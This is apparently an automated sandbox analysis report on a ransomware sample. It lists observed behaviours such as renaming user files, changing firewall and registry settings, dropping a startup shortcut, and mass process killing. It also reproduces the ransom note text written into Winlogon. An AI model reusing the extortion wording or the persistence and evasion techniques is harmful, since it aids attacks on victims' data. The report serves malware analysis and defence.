Malware Analysis Report

2024-10-23 18:38

Sample ID 210609-r4nkyx7ywn
Target 779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample
SHA256 779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc
Tags
evasion persistence ransomware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc

Threat Level: Known bad

The file 779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample was found to be: Known bad.

Malicious Activity Summary

evasion persistence ransomware

Downloads MZ/PE file

Modifies extensions of user files

Modifies Windows Firewall

Drops startup file

Deletes itself

Modifies WinLogon

Launches sc.exe

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

System policy modification

Suspicious use of SendNotifyMessage

Modifies registry key

Kills process with taskkill

Suspicious use of FindShellTrayWindow

Suspicious behavior: EnumeratesProcesses

Runs ping.exe

Suspicious use of WriteProcessMemory

Modifies Internet Explorer settings

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2021-06-09 13:16

Signatures

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2021-06-09 13:16

Reported

2021-06-09 13:26

Platform

win10v20210410

Max time kernel

400s

Max time network

499s

Command Line

"C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe"

Signatures

Downloads MZ/PE file

Modifies Windows Firewall

evasion

Modifies extensions of user files

ransomware
Description Indicator Process Target
File opened for modification C:\Users\Admin\Pictures\ExportShow.tiff C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
File opened for modification C:\Users\Admin\Pictures\WriteRestore.tiff C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
File opened for modification C:\Users\Admin\Pictures\ConnectUnprotect.tiff C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A

Modifies WinLogon

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "YOUR COMPANY NETWORK HAS BEEN HACKED" C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\n!!!!!!!!!!!!!!!!!!!!!!!!\r\nIf you decide not to work with us: \r\nAll data on your computers will remain encrypted forever. \r\nYOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER!\r\nSo you can expect your data to be publicly available in the near future.. \r\nThe price will increase over time. \r\n!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO" C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A

Launches sc.exe

Enumerates physical storage devices

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\reg.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Conhost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Conhost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Conhost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Conhost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\slui.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Conhost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Conhost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3872 wrote to memory of 3860 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 3860 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 1452 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\reg.exe
PID 3872 wrote to memory of 1452 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\reg.exe
PID 3872 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\reg.exe
PID 3872 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\reg.exe
PID 3872 wrote to memory of 1248 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\schtasks.exe
PID 3872 wrote to memory of 1248 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\schtasks.exe
PID 3872 wrote to memory of 1020 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3872 wrote to memory of 1020 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3872 wrote to memory of 1644 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\netsh.exe
PID 3872 wrote to memory of 1644 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\netsh.exe
PID 3872 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3872 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3872 wrote to memory of 1580 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3872 wrote to memory of 1580 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3872 wrote to memory of 3776 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3872 wrote to memory of 3776 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3872 wrote to memory of 3024 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3872 wrote to memory of 3024 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3872 wrote to memory of 204 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3872 wrote to memory of 204 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3872 wrote to memory of 2388 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3872 wrote to memory of 2388 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3872 wrote to memory of 3896 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3872 wrote to memory of 3896 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3872 wrote to memory of 3892 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 3892 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 2776 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 2776 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 1116 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 1116 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 4032 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 4032 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 2856 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\System32\Conhost.exe
PID 3872 wrote to memory of 2856 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\System32\Conhost.exe
PID 3872 wrote to memory of 3808 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 3808 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3872 wrote to memory of 1588 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\SYSTEM32\taskkill.exe
